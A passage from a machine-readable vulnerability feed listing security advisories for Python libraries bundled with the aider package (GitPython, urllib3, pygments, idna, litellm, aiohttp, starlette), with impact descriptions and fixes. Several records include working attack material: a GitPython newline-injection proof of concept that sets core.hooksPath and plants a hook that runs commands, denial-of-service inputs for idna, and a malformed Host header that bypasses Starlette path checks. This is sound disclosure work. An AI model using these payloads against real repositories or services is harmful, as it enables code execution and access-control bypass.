content:\n<current HEAD commit SHA>\n\n[+] outside_delete exists after delete: False\n```\n\n---\n\n## 💥 Impact\n\n### What can an attacker do?\n\n* Create or overwrite files outside the repository metadata directory\n* Delete attacker-chosen files reachable from the process permissions\n* Corrupt application state or configuration files\n* Cause denial of service by deleting or overwriting important files\n\n---\n\n### Security Impact\n\n* **Confidentiality:** Low\n* **Integrity:** High\n* **Availability:** High\n\n---\n\n### Who is affected?\n\n* Applications that expose GitPython reference operations to user-controlled input\n* Git automation services, repository management backends, CI/CD helpers, and developer platforms\n* Multi-user environments where one user can influence ref names processed on behalf of another workflow\n\n---\n\n## 🛠️ Mitigation / Fix\n\n### Recommended Fix\n\n```python\ndef _validate_ref_write_path(repo, path, *, for_git_dir=False):\n    SymbolicReference._check_ref_name_valid(path)\n\n    base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve()\n    target = (base / path).resolve()\n\n    if base not in [target, *target.parents]:\n        raise ValueError(f\"Reference path escapes repository boundary: {path}\")\n\n    return str(target)\n```\n\n```python\nfull_ref_path = cls.to_full_path(path)\n_validate_ref_write_path(repo, full_ref_path)\n```","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44243"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-44244","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:13Z","upstream":["GHSA-v87r-6q3f-2j67","CVE-2026-44244","PYSEC-2026-2163"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.49","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath","details":"`GitConfigParser.set_value()` passes values to Python's `configparser` without validating for newlines. GitPython's own `_write()` converts embedded newlines into indented continuation lines (e.g. `\\n` becomes `\\n\\t`), but Git still accepts an indented `[core]` stanza as a section header — so the injected `core.hooksPath` becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.\n\nThe vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented `[core]` stanza as a section header, so the injected `core.hooksPath` becomes effective configuration.\n\nThis was found while auditing MLRun's `project.push()` method, which passes `author_name` and `author_email` directly to `config_writer().set_value()` with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in `.git/config`.\n\nPoC (standalone, no MLRun required):\n\n```python\nimport git, subprocess, os\n\nrepo = git.Repo(\"/tmp/testrepo\")\n\nwith repo.config_writer() as cw:\n    cw.set_value(\"user\", \"name\", \"foo\\n[core]\\nhooksPath=/tmp/hooks\")\n\nr = subprocess.run([\"git\", \"config\", \"core.hooksPath\"], cwd=\"/tmp/testrepo\", capture_output=True, text=True)\nassert r.returncode == 0\nprint(r.stdout.strip())  # /tmp/hooks\n\nos.makedirs(\"/tmp/hooks\", exist_ok=True)\nopen(\"/tmp/hooks/pre-commit\", \"w\").write(\"#!/bin/sh\\nid > /tmp/pwned\\n\")\nos.chmod(\"/tmp/hooks/pre-commit\", 0o755)\n\nrepo.index.add([\"README\"])\nrepo.git.commit(m=\"test\")\nprint(open(\"/tmp/pwned\").read())  # uid=...\n```\n\nTested on GitPython 3.1.46, git 2.39+.\n\nImpact: This is persistent repo config poisoning. Any user who can supply `author_name` or `author_email` to an application calling `config_writer().set_value()` can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the `.git/config` of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.\n\nRemediation: `set_value()` should raise on CR, LF, or NUL in values rather than silently pass them through:\n\n```python\nimport re\n\nif isinstance(value, (str, bytes)) and re.search(r\"[\\r\\n\\x00]\", str(value)):\n    raise ValueError(\"Git config values must not contain CR, LF, or NUL\")\n```\n\nRejecting is safer than stripping — a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that.\n\nAffected wherever `config_writer().set_value(section, key, user_input)` is called with external input.** GitPython is a dependency of DVC, MLflow, Kedro, and others — worth auditing their `set_value()` call sites for externally influenced inputs.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44244"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-44431","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:40Z","upstream":["GHSA-qccp-gfcp-xxvc","CVE-2026-44431","PYSEC-2026-141"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.7.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.6.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.6.3","key":"pkg:pypi/urllib3@2.6.3","resource":"urllib3"}]},"summary":"urllib3: Sensitive headers forwarded across origins in proxied low-level redirects","details":"### Impact\n\nWhen following cross-origin redirects for requests made using urllib3’s high-level APIs, such as `urllib3.request()`, `PoolManager.request()`, and `ProxyManager.request()`, sensitive headers — `Authorization`, `Cookie`, and `Proxy-Authorization` (defined in `Retry.DEFAULT_REMOVE_HEADERS_ON_REDIRECT`) — are stripped by default, as expected.\n\nHowever, cross-origin redirects followed from the low-level API via `ProxyManager.connection_from_url().urlopen(..., assert_same_host=False)` still forward these sensitive headers.\n\n### Affected usage\n\nApplications and libraries using urllib3 versions earlier than 2.7.0 may be affected if they allow cross-origin redirects while making requests through `HTTPConnection.urlopen()` instances created via `ProxyManager.connection_from_url()`.\n\n### Remediation\n\nUpgrade to urllib3 version 2.7.0 or later, in which sensitive headers are stripped from redirects followed by `HTTPConnection`.\n\nIf upgrading is not immediately possible, avoid using this low-level redirect flow for cross-origin redirects. If appropriate for your use case, switch to `ProxyManager.request()`.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-qccp-gfcp-xxvc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44431"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-44432","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:40Z","upstream":["GHSA-mf9v-mfxr-j63j","CVE-2026-44432","PYSEC-2026-142"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.2"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.7.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.6.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.6.3","key":"pkg:pypi/urllib3@2.6.3","resource":"urllib3"}]},"summary":"urllib3: Decompression-bomb safeguards bypassed in parts of the streaming API","details":"### Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.7.0/advanced-usage.html#streaming-and-i-o) is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.\n\nurllib3 can perform decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). When using the streaming API since version 2.6.0, the library decompresses only the necessary bytes, enabling partial content consumption.\n\nHowever, urllib3 before version 2.7.0 could still decompress the whole response instead of the requested portion in two cases:\n1. During the second `HTTPResponse.read(amt=N)` call when the response was decompressed using the official [Brotli](https://pypi.org/project/brotli/) library.\n2. When `HTTPResponse.drain_conn()` was called after the response had been read and decompressed partially (compression algorithm did not matter here).\n\nThese issues could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This could result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side.\n\n\n### Affected usages\n\nApplications and libraries using urllib3 versions earlier than 2.7.0 may be affected when streaming compressed responses from untrusted sources in either of these cases, unless decompression is explicitly disabled:\n\n1. A response encoded with `br` is read incrementally with at least two `HTTPResponse.read(amt=N)` or `HTTPResponse.stream(amt=N)` calls while using the official [Brotli](https://pypi.org/project/brotli/) library.\n2. `HTTPResponse.drain_conn()` is called after response decompression has already started.\n\n\n### Remediation\n\nUpgrade to at least urllib3 version 2.7.0 in which the library:\n1. Is more efficient for reads with Brotli.\n2. Always skips decompression for `HTTPResponse.drain_conn()`.\n\nIf upgrading is not immediately possible, the following workarounds may reduce exposure in specific cases:\n1. For the Brotli-specific issue only, switch from [brotli](https://pypi.org/project/brotli/) to [brotlicffi](https://pypi.org/project/brotlicffi/) until you can upgrade urllib3; the official Brotli package is affected because of https://github.com/google/brotli/issues/1396.\n2. If your code explicitly calls `HTTPResponse.drain_conn()`, call `HTTPResponse.close()` instead when connection reuse is not important.\n\n\n### Credits\n\nThe Brotli-specific issue was reported by @kimkou2024.\n`HTTPResponse.drain_conn()` inefficiency was reported by @Cycloctane.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-mf9v-mfxr-j63j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44432"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2026-142.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-4539","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:36Z","upstream":["GHSA-5239-wwwm-4pmq","CVE-2026-4539","PYSEC-2026-2987"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.20.0","resource":"pygments","resource_purl":"pkg:pypi/pygments@2.19.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pygments","subject_version":"2.19.2","key":"pkg:pypi/pygments@2.19.2","resource":"pygments"}]},"summary":"Pygments has Regular Expression Denial of Service (ReDoS) due to Inefficient Regex for GUID Matching","details":"A security flaw has been discovered in pygments before 2.20.0. The impacted element is the function AdlLexer of the file pygments/lexers/archetype.py. The manipulation results in inefficient regular expression complexity. The attack is only possible with local access. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-4539"},{"type":"WEB","url":"https://github.com/pygments/pygments/issues/3058"},{"type":"WEB","url":"https://github.com/pygments/pygments/pull/3064"},{"type":"WEB","url":"https://github.com/pygments/pygments/commit/24b8aa76c6cd6d70f39c6dd605cce319c98e2ccc"},{"type":"PACKAGE","url":"https://github.com/pygments/pygments"},{"type":"WEB","url":"https://github.com/pygments/pygments/releases/tag/2.20.0"},{"type":"WEB","url":"https://vuldb.com/?ctiid.352327"},{"type":"WEB","url":"https://vuldb.com/?id.352327"},{"type":"WEB","url":"https://vuldb.com/?submit.774685"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-45409","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:13Z","upstream":["GHSA-65pc-fj4g-8rjx","CVE-2026-45409","PYSEC-2026-215"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.15","resource":"idna","resource_purl":"pkg:pypi/idna@3.11"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"idna","subject_version":"3.11","key":"pkg:pypi/idna@3.11","resource":"idna"}]},"summary":"Internationalized Domain Names in Applications (IDNA): Specially crafted inputs to idna.encode() can bypass CVE-2024-3651 fix","details":"This is the same issue as CVE-2024-3651, however the original remediation in 2024 was not a complete fix. Payloads such as `\"\\u0660\" * N` or `\"\\u30fb\" * N + \"\\u6f22\"` utilize the `valid_contexto` function prior to length rejection, and for high values of `N` will take a long time to process.\n\n### Impact\nA specially crafted argument to the `idna.encode()` function could consume significant resources. This may lead to a denial-of-service.\n\n### Patches\nStarting in version 3.14, the function rejects long inputs as soon as practicable prior to any further processing to minimize resource consumption. In version 3.15, this approach was extended to lesser used alternate functions (i.e. per-label conversions and codec support).\n\n### Workarounds\nDomain names cannot exceed 253 characters in length, if this length limit is enforced prior to passing the domain to the `idna.encode()` function it should no longer consume significant resources. This is triggered by arbitrarily large inputs that would not occur in normal usage, but may be passed to the library assuming there is no preliminary input validation by the higher-level application.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/kjd/idna/security/advisories/GHSA-65pc-fj4g-8rjx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45409"},{"type":"PACKAGE","url":"https://github.com/kjd/idna"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/idna/PYSEC-2026-215.yaml"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-47101","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:14Z","upstream":["GHSA-qrc4-49gv-mv9m","CVE-2026-47101","PYSEC-2026-2598"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.83.14","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM allows an authenticated internal_user to create API keys with access to routes that their role does not permit","details":"LiteLLM prior to 1.83.14 allows an authenticated internal_user to create API keys with access to routes that their role does not permit. When generating a key, the allowed_routes field is stored without verifying that the specified routes fall within the user's own permissions. A key created with access to admin-only routes can then be used to reach those routes successfully, bypassing the role-based access controls that would otherwise block the request, enabling full privilege escalation from internal_user to proxy_admin.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47101"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/commit/2220f3076ac89bd2a2e3439acf57dcfbec2434c9"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/commit/5190bd07eb23a037745d86328096f54378f1614a"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/commit/d910a95661fce3cdd36f3b06c03ecf9c46c6457c"},{"type":"WEB","url":"https://gist.github.com/13ph03nix/9ec616e1fdc77b3673509c60206e827f"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/releases/tag/v1.83.14-stable"},{"type":"WEB","url":"https://huntr.com/bounties/8e75edfb-ff05-4e63-bfca-2d93d03fb3b9"},{"type":"WEB","url":"https://www.obsidiansecurity.com/blog/litellm-privilege-escalation-rce"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/litellm-privilege-escalation-via-api-key-generation"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-47102","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:14Z","upstream":["GHSA-wpfp-gwwc-vwq6","CVE-2026-47102","PYSEC-2026-2600"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.83.10","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM allows a user to modify their own user_role via the /user/update endpoint","details":"LiteLLM prior to 1.83.10 allows a user to modify their own user_role via the /user/update endpoint. While the endpoint correctly restricts users to updating only their own account, it does not restrict which fields may be changed. A user who can reach this endpoint can set their role to proxy_admin, gaining full administrative access to LiteLLM including all users, teams, keys, models, and prompt history. Users with the org_admin role have legitimate access to this endpoint and can exploit this vulnerability without chaining any additional flaw.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47102"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/pull/25541"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/commit/128d32d2494b759c5d15da3452452af4c6a34c01"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/commit/e6f18ce75b111c9b93dc15c72894cbdeb53177ce"},{"type":"WEB","url":"https://gist.github.com/13ph03nix/9ec616e1fdc77b3673509c60206e827f"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/releases/tag/v1.83.10-stable"},{"type":"WEB","url":"https://huntr.com/bounties/8e75edfb-ff05-4e63-bfca-2d93d03fb3b9"},{"type":"WEB","url":"https://www.obsidiansecurity.com/blog/litellm-privilege-escalation-rce"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/litellm-privilege-escalation-via-user-update"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-47265","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:11Z","upstream":["GHSA-hg6j-4rv6-33pg","CVE-2026-47265","PYSEC-2026-2105"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.0","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP is vulnerable to cross-origin redirect with per-request cookies","details":"### Summary\n\nCookies set with the `cookies` parameter on requests are sent after following a cross-origin redirect.\n\n### Impact\n\nIf a developer uses the `cookies` parameter on a per-request basis then sensitive data might be leaked to an attacker if they manage to control a redirect.\n\n### Workaround\n\nIf unable to upgrade, using a `Cookie` header in the `headers` parameter is not vulnerable.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/f54c40851b0d6c4bbdab97ba518a223adda32478","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-hg6j-4rv6-33pg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47265"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/f54c40851b0d6c4bbdab97ba518a223adda32478"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-48710","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:38Z","upstream":["GHSA-86qp-5c8j-p5mr","CVE-2026-48710","PYSEC-2026-161","X41-2026-002"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.2"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.0.1","resource":"starlette","resource_purl":"pkg:pypi/starlette@0.52.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"starlette","subject_version":"0.52.1","key":"pkg:pypi/starlette@0.52.1","resource":"starlette"}]},"summary":"Starlette has missing Host header validation that poisons request.url.path, bypassing path-based security checks","details":"### Summary\nIn affected versions, the HTTP `Host` request header was not validated before being used to reconstruct `request.url`. Because the routing algorithm relies on the raw HTTP path while `request.url` is rebuilt from the `Host` header, a malformed header could make `request.url.path` differ from the path that was actually requested. Middleware and endpoints that apply security restrictions based on `request.url` (rather than the raw `scope` path) could therefore be bypassed.\n\n### Details\nWhen a client requests `http://example.com/foo`, it sends:\n\n```http\nGET /foo HTTP/1.1\nHost: example.com\n```\n\nAffected versions reconstructed the URL by concatenating `http://{host}{path}` and re-parsing the result. The `Host` value is only valid as a `uri-host [ \":\" port ]` per [RFC 9112 §3.2](https://www.rfc-editor.org/rfc/rfc9112.html#section-3.2-6), where `uri-host` follows the restricted `host` grammar of [RFC 3986 §3.2.2](https://www.rfc-editor.org/rfc/rfc3986.html#section-3.2.2). When it contains characters outside that grammar - notably `/`, `?`, or `#` - those characters move the path/query/fragment boundaries during re-parsing, so the parsed `request.url.path` no longer matches the path the server actually received. For example:\n\n```http\nGET /foo HTTP/1.1\nHost: example.com/abc?bar=\n```\n\nreconstructs to `http://example.com/abc?bar=/foo`, whose parsed `path` is `/abc` - even though routing used the real path `/foo`. The router still dispatches to `/foo` and the endpoint executes, but any middleware or code that reads `request.url.path` sees `/abc`, so path-based authorization checks can be bypassed.\n\n### Impact\nAny application running an affected version that relies on `request.url` (or `request.url.path`) for security-sensitive decisions is affected. The most common case is middleware that gates access to certain path prefixes based on `request.url.path`. Deployments fronted by a proxy or load balancer are mitigated only if that proxy rejects or normalizes the malformed `Host` header before forwarding and the application does not trust attacker-controlled host headers (e.g. `X-Forwarded-Host`) elsewhere.\n\n### Mitigation\nUpgrade to a patched version, which validates the `Host` header against the grammar of [RFC 9112 §3.2](https://www.rfc-editor.org/rfc/rfc9112.html#section-3.2-6) / [RFC 3986 §3.2.2](https://www.rfc-editor.org/rfc/rfc3986.html#section-3.2.2) when constructing `request.url` and falls back to `scope[\"server\"]` for malformed values.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/Kludex/starlette/security/advisories/GHSA-86qp-5c8j-p5mr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48710"},{"type":"WEB","url":"https://github.com/Kludex/starlette/commit/764dab0dcfb9033d75442d7a359645c9f94648c6"},{"type":"WEB","url":"https://www.x41-dsec.de/lab/advisories/x41-2026-002-starlette"},{"type":"WEB","url":"https://www.secwest.net/starlette"},{"type":"WEB","url":"https://www.cve.org/CVERecord?id=CVE-2026-48710"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48710.json"},{"type":"WEB","url":"https://ostif.org/disclosing-the-badhost-vulnerability-in-starlette"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/starlette/PYSEC-2026-161.yaml"},{"type":"PACKAGE","url":"https://github.com/Kludex/starlette"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2481742"},{"type":"WEB","url":"https://badhost.org"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-48710"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:60520"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:51357"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:44696"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:43038"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:37275"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:34532"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:34526"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:34456"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:30089"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:30088"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:26226"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24866"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:23346"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22993"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22992"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-48817","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:40Z","upstream":["GHSA-x746-7m8f-x49c","CVE-2026-48817","PYSEC-2026-2280"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.2"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.1.0","resource":"starlette","resource_purl":"pkg:pypi/starlette@0.52.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"starlette","subject_version":"0.52.1","key":"pkg:pypi/starlette@0.52.1","resource":"starlette"}]},"summary":"Starlette: Arbitrary HTTP method dispatched to `HTTPEndpoint` attributes via `getattr`","details":"### Summary\n\nWhen dispatching a request, `HTTPEndpoint` selects the handler by lowercasing the HTTP method and looking it up as an attribute with `getattr`, without restricting the lookup to a known set of HTTP verbs.\n\nWhen an `HTTPEndpoint` subclass is registered through `Route(...)` without an explicit `methods=` argument, the route does not constrain the method and every method reaches the endpoint. If a non-standard HTTP method whose lowercased name matches an attribute on the endpoint subclass reaches the endpoint, that attribute is invoked as if it were a request handler. An attacker can use this to reach methods that were never meant to be HTTP handlers, such as internal helpers, without the authorization checks applied by the intended public handler.\n\n### Details\n\n`HTTPEndpoint` uses the client-supplied method name to resolve an instance attribute, without validating it against the set of HTTP verbs the endpoint supports. A method such as `_DO_DELETE` therefore resolves an attribute like `_do_delete` and invokes it. Non-standard methods are valid [RFC 9110](https://www.rfc-editor.org/rfc/rfc9110#name-method) token methods, so an endpoint must not treat the method name as a trusted attribute selector.\n\n### Impact\n\nAn application is affected when all of the following hold:\n\n* It defines an `HTTPEndpoint` subclass and registers it 